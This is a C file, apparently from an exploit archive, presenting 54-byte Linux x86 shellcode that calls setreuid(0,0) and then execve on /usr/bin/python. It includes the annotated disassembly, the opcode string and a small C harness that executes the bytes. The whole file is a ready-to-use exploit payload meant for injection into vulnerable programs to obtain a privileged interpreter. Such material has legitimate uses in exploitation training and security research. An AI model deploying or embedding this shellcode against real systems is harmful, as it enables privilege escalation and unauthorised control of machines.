53 lines
No EOL
2 KiB
C
53 lines
No EOL
2 KiB
C
/*
|
|
# Title: Shellcode Linux x86 [54Bytes] Run /usr/bin/python | setreuid(),execve()
|
|
# Date: 8/5/2014
|
|
# Author: Ali Razmjoo
|
|
# Tested on: kali-linux-1.0.4-i386 [3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux ]
|
|
*/
|
|
|
|
/*
|
|
Ali Razmjoo , Ali.Razmjoo1994@Gmail.Com
|
|
Shellcode Linux x86 Run /usr/bin/python | setreuid(),execve()
|
|
Shellcode Length: 54
|
|
|
|
|
|
00000000 <_start>:
|
|
0: 31 c0 xor %eax,%eax
|
|
2: b0 46 mov $0x46,%al
|
|
4: 31 db xor %ebx,%ebx
|
|
6: 31 c9 xor %ecx,%ecx
|
|
8: cd 80 int $0x80
|
|
a: eb 16 jmp 22 <last>
|
|
0000000c <first>:
|
|
c: 5b pop %ebx
|
|
d: 31 c0 xor %eax,%eax
|
|
f: 88 43 0f mov %al,0xf(%ebx)
|
|
12: 89 5b 10 mov %ebx,0x10(%ebx)
|
|
15: 89 43 14 mov %eax,0x14(%ebx)
|
|
18: b0 0b mov $0xb,%al
|
|
1a: 8d 4b 10 lea 0x10(%ebx),%ecx
|
|
1d: 8d 53 14 lea 0x14(%ebx),%edx
|
|
20: cd 80 int $0x80
|
|
00000022 <last>:
|
|
22: e8 e5 ff ff ff call c <first>
|
|
27: 2f das
|
|
28: 75 73 jne 9d <last+0x7b>
|
|
2a: 72 2f jb 5b <last+0x39>
|
|
2c: 62 69 6e bound %ebp,0x6e(%ecx)
|
|
2f: 2f das
|
|
30: 70 79 jo ab <last+0x89>
|
|
32: 74 68 je 9c <last+0x7a>
|
|
34: 6f outsl %ds:(%esi),(%dx)
|
|
35: 6e outsb %ds:(%esi),(%dx)
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
char sc[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e";
|
|
|
|
int main(void)
|
|
{
|
|
fprintf(stdout,"Length: %d\n\n",strlen(sc));
|
|
(*(void(*)()) sc)();
|
|
} |